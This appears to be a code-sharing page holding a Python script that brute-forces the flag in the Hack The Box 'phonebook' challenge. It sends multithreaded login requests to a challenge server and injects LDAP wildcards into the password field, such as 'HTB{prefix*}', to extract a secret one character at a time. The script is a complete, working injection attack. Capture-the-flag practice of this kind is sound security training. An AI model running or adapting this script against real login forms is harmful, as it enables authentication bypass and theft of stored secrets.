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January 14, 2023 07:44
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Fast and neat brute force solution for Hack The Box challenge : phonebook
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""" | |
Fast and neat brute force solution for Hack The Box challenge : phonebook | |
""" | |
import requests | |
import string | |
from concurrent.futures import ThreadPoolExecutor | |
class Phonebook: | |
"""Phonebook class""" | |
def __init__(self): | |
self.url = "http://142.93.41.143:30603/login" | |
self.user = "reese" | |
self.words = "".join({x for x in string.printable[:-6] if x not in {"*", ")", "\\"}}) | |
self.words = string.printable[:-6].replace("*", "").replace(")", "").replace("\\", "") | |
self.correct_words = "" | |
self.headers = { | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', | |
'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7', | |
'Cache-Control': 'max-age=0', | |
'Origin': 'http://142.93.41.143:30603', | |
'Proxy-Connection': 'keep-alive', | |
'Referer': 'http://142.93.41.143:30603/login?message=Authentication%20failed', | |
'Upgrade-Insecure-Requests': '1', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36', | |
'dnt': '1', | |
'sec-gpc': '1', | |
} | |
self.flag = False | |
def login(self, word:str) -> requests.Response: | |
"""Login to phonebook""" | |
if self.flag: | |
return | |
password = f"HTB{{{self.correct_words}{word}*}}" | |
data = { | |
'username': self.user, | |
'password': password | |
} | |
print(data) | |
r = requests.post(self.url, data=data, headers=self.headers, verify=False) | |
if "Please login" not in r.text: | |
self.flag = True | |
self.correct_words += word | |
print(f"Found: {password}") | |
def run(self): | |
"""Run""" | |
with ThreadPoolExecutor(max_workers=20) as executor: | |
for word in self.words: | |
executor.submit(phonebook.login, word) | |
if self.flag: | |
self.flag = False | |
executor.shutdown(wait=False) | |
break | |
if __name__ == "__main__": | |
phonebook = Phonebook() | |
for _ in range(32): | |
phonebook.run() | |
print(f"Flag: HTB{{{phonebook.correct_words}}}") |
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